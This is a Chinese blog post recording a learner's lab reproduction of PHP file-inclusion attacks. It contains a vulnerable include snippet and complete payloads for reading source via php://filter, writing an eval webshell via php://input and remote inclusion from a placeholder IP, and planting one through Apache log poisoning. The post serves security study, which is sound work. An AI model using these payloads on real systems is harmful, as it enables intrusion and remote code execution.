文件包含扩展

又重新看了一遍《web安全深度剖析》,看到了文件包含这一部分开始了手动实践,复现书中的描述场景,首先开启allow_url_include,搭建好wamp环境之后开始实验,

<?php

$file=$_GET['file'];

if(isset($file)

     include($file);

else

    include(index.php);

?>

0x01读取重要的文件内容

作为一个菜鸡,就是想要flag.php,但是通常是不会那么容易得到flag的,因为php文件都会被解析,是看不到源码的,所以姿势又开始扭摆了。不能直接读那就换个编码读用到php封装协议php://filter/read=convert.base64-encode/resource=flag.php这样就把php转换成了base64编码,解码就出来源码

0x02 getshell

首先,直接写shell,这里用到php://input,和php://filter一脉相承,这里直接访问xx.com/index.php?file=php://input,这里的数据是post发送的,<?php fputs(fopen("shell.php","w"),"<?php eval($_POST[chopper]);?>");?>直接写一个shell文

其次远程文件包含,同上述方法类似,在远程服务器上保存一个txt或其他文件,内容为<?php fputs(fopen("shell.php","w"),"<?php eval($_POST[chopper]);?>");?>,访问x.com/index.php?file=http://xx.xx.xx.xx/shell.txt就会在目标服务器上生成一个shell.php文件

还有三,利用apache错误日志取得shell,当访问出现错误的时候apache会在错误日志文件中记录下来访问内容,如xx.com/<?php eval($_POST['chopper']);?>,直接访问一句话会变形,可以通过burp抓包放出元数据,这样就原模原样的记录在apache日志下了,不过要确切的知道apache的路径才能访问到shell,利用包含一句话的图片上传之后一样会解析出来拿到shell。

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • (源自摘抄整理)https://www.91ri.org/11494.html Webshell实现与隐藏探究 一...
    JackyTsuuuy阅读 21,110评论 2 13
  • 原文链接:http://wyb0.com/posts/file-include-vulnerabilities/ ...
    cws阅读 12,741评论 10 10
  • 架构师必须知道的26项PHP安全实践 PHP是一种开源服务器端脚本语言,应用很广泛。Apache web服务器提供...
    meng_philip123阅读 11,283评论 1 161
  • 1.创建文件夹 !/bin/sh mkdir -m 777 "%%1" 2.创建文件 !/bin/sh touch...
    BigJeffWang阅读 13,465评论 3 53
  • 一套实用的渗透测试岗位面试题,你会吗? 1.拿到一个待检测的站,你觉得应该先做什么? 收集信息 whois、网站源...
    g0阅读 10,410评论 0 9